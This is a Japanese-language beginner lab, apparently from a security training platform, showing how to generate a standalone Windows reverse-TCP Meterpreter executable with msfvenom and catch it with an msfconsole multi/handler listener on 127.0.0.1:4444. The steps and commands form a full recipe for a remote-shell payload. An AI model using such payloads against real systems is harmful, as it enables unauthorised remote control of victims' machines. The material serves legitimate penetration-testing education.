msfvenom でスタンドアロンペイロードを生成する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験(Lab)では、ペイロード生成に使用される Metasploit Framework のコマンドラインインスタンスであるmsfvenomを実際に体験します。これは、古いツールであるmsfpayloadmsfencodeの 2 つを組み合わせたもので、幅広いターゲットや様々な形式のシェルコードを作成するための、単一で強力なツールを提供します。

この実験(Lab)の主な目的は、スタンドアロンの Windows 実行可能ペイロードを生成するプロセスをガイドすることです。ペイロードの選択方法、リスニングホストやポートなどのオプションの設定方法、そして最終的にペイロードからの接続をキャッチするためのmsfconsoleでのリスナーの設定方法を学びます。すべての操作は~/projectディレクトリ内で行われます。

msfvenom --list payloads で利用可能なペイロードを一覧表示する

このステップでは、msfvenom の機能を探求することから始めます。どのようなツールであっても、まず最初に学ぶべきはその機能です。--list payloads オプションを使用すると、利用可能なすべてのペイロードを一覧表示できます。これにより、msfvenom が様々なオペレーティングシステム、アーキテクチャ、アプリケーション向けに生成できるすべてのシェルコードの包括的なリストが得られます。

ペイロードの完全なリストを表示するには、ターミナルで以下のコマンドを実行してください。

msfvenom --list payloads

出力は非常に長くなります。実際のシナリオでは、特定のペイロードを見つけるためにこのリストをフィルタリングすることが一般的です。例えば、Windows マシンをターゲットにしている場合、grep を使用して関連するペイロードを検索できます。次のステップで使用する windows/meterpreter/reverse_tcp ペイロードを見つけてみましょう。

msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"

ペイロードが存在することを確認する、以下のような出力が表示されるはずです。

    windows/meterpreter/reverse_tcp                  Windows Meterpreter (Reflective Injection), Reverse TCP Stager

これにより、msfvenom がこの特定のペイロードを生成できることが確認できました。

msfvenom -p windows/meterpreter/reverse_tcp で Windows 実行可能ファイルを生成する

このステップでは、生成する特定のペイロードを選択します。前のステップでの検索に基づき、windows/meterpreter/reverse_tcp を使用します。これは非常に一般的で強力なペイロードです。ターゲットマシンからあなたへ「リバース」接続を作成し、「Meterpreter」は高度で機能豊富なシェルであり、広範なポストエクスプロイト活動を可能にします。

msfvenom でペイロードを選択するには、-p (または --payload) オプションを使用します。ペイロードのみを選択した状態でコマンドを構築してみましょう。

ターミナルで以下のコマンドを実行してください。

msfvenom -p windows/meterpreter/reverse_tcp

このコマンドは失敗し、エラーメッセージが表示されることに気づくでしょう。これは想定内です。

[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option

出力には、LHOST が必須オプションであることが明確に示されています。これは、リバース TCP ペイロードが接続バックする IP アドレスを知る必要があるためです。次のステップで、この必須情報を提供します。

ペイロードの LHOST および LPORT を設定する

このステップでは、ペイロードが正しく機能するために必要なオプションを提供します。前のステップのエラーメッセージが示唆したように、LHOST を設定する必要があります。

  • LHOST: 「Listening Host」の略です。これは、ペイロードからの着信接続をリッスンするマシンの IP アドレスです。この実験では、リスナーを同じマシンで実行するため、ループバック IP アドレスである 127.0.0.1 を使用できます。
  • LPORT: 「Listening Port」の略です。これは、リスナーがバインドされる LHOST 上のポートです。使用されていない任意の非特権ポートを選択できます。一般的には 4444 が選択されます。

これらのオプションはコマンドラインで直接設定できます。前のコマンドに LHOSTLPORT を追加してみましょう。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444

このコマンドを実行すると、ターミナルに直接大量の文字ブロックが表示されます。これはペイロードの生のシェルコードです。

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>

これはスタンドアロンファイルとしてはあまり役に立ちません。次のステップでは、この生のシェルコードを、使用可能な実行可能ファイル形式にフォーマットする方法を学びます。

-f exe および -o を使用して出力フォーマットとファイル名を指定する

このステップでは、ペイロードのフォーマットを指定してファイルに保存することで、ペイロードを最終化します。生のシェルコードをターミナルに出力しても、配信には実用的ではありません。ターゲットオペレーティングシステムが実行できる形式にパッケージ化する必要があります。

msfvenom は、このための 2 つの重要なオプションを提供します。

  • -f または --format: このオプションは出力フォーマットを指定します。ターゲットは Windows なので、標準的な Windows 実行可能ファイルを作成するために exe フォーマットを使用します。
  • -o または --out: このオプションは、出力ファイルのパスとファイル名を指定します。

これまでに学習したすべてのオプションを、単一の最終コマンドにまとめましょう。このコマンドは、現在のディレクトリ (~/project) に payload.exe という名前の Windows 実行可能ファイルを生成します。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe

コマンドが完了すると、ペイロードの作成を確認する出力が表示されます。

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

ls -l コマンドを使用してファイルが作成されたことを確認できます。

ls -l payload.exe

出力には新しく作成されたファイルが表示されるはずです。

-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe

これで、スタンドアロンのペイロードファイルを正常に生成しました。

msfconsole で接続をキャッチするためのリスナーを作成する

このステップでは、作成したばかりのペイロードからの接続を処理するためのリスナーを設定します。ペイロードは、リバース接続を「キャッチ」するためのものがこちら側にない限り、無用です。このために、Metasploit Framework の主要なインターフェースである msfconsole を使用します。

まず、msfconsole を起動します。-q フラグを使用すると、バナーを表示せずに静かに起動するため、よりクリーンになります。

msfconsole -q

プロンプトが msf6 > に変わります。次に、着信接続をリッスンするためのハンドラーを設定する必要があります。ハンドラーの設定は、ペイロードの生成に使用した設定と完全に一致している必要があります。

  1. exploit/multi/handler モジュールを使用します。これは、着信接続のための汎用ハンドラーです。

    use exploit/multi/handler
  2. 生成したものと一致するようにペイロードを設定します。

    set payload windows/meterpreter/reverse_tcp
  3. LHOST を同じ IP アドレスに設定します。

    set LHOST 127.0.0.1
  4. LPORT を同じポートに設定します。

    set LPORT 4444
  5. 最後に、リスナーを実行します。

    run

msfconsole は、リスナーが開始されたことを示すメッセージを表示します。

[*] Started reverse TCP handler on 127.0.0.1:4444

この時点で、リスナーはアクティブで待機状態です。実際の攻撃では、payload.exe を Windows ターゲットに転送して実行します。実行されると、このリスナーに接続バックし、Meterpreter セッションを取得できます。この実験ではターゲットの Windows マシンがないため、接続を見ることはありません。ここでの目標は、ペイロードを生成し、それに対応するリスナーを設定する完全なプロセスを学ぶことです。

リスナーを終了するには、Ctrl + C を押します。msfconsole を終了するには、exit と入力して Enter キーを押します。

exit

まとめ

この実験では、msfvenom を使用してスタンドアロンペイロードを生成する基本的な方法を習得しました。利用可能なペイロードの探索から、最終的な実行可能ファイルの作成、そしてその接続を処理するためのリスナーの設定まで、ワークフロー全体を実践しました。

以下の主要な msfvenom オプションに精通しました。

  • --list payloads: 利用可能なペイロードを確認します。
  • -p: windows/meterpreter/reverse_tcp のような特定のペイロードを選択します。
  • LHOST および LPORT: ペイロードの接続詳細を設定します。
  • -f: 出力フォーマット(例:exe)を設定します。
  • -o: ペイロードをファイルに保存します。

さらに、msfconsole 内の exploit/multi/handler を使用して、ペイロードの設定と一致するリスナーを作成する方法を学びました。この知識は、多くのペネトレーションテストおよびセキュリティリサーチタスクの重要な基盤となります。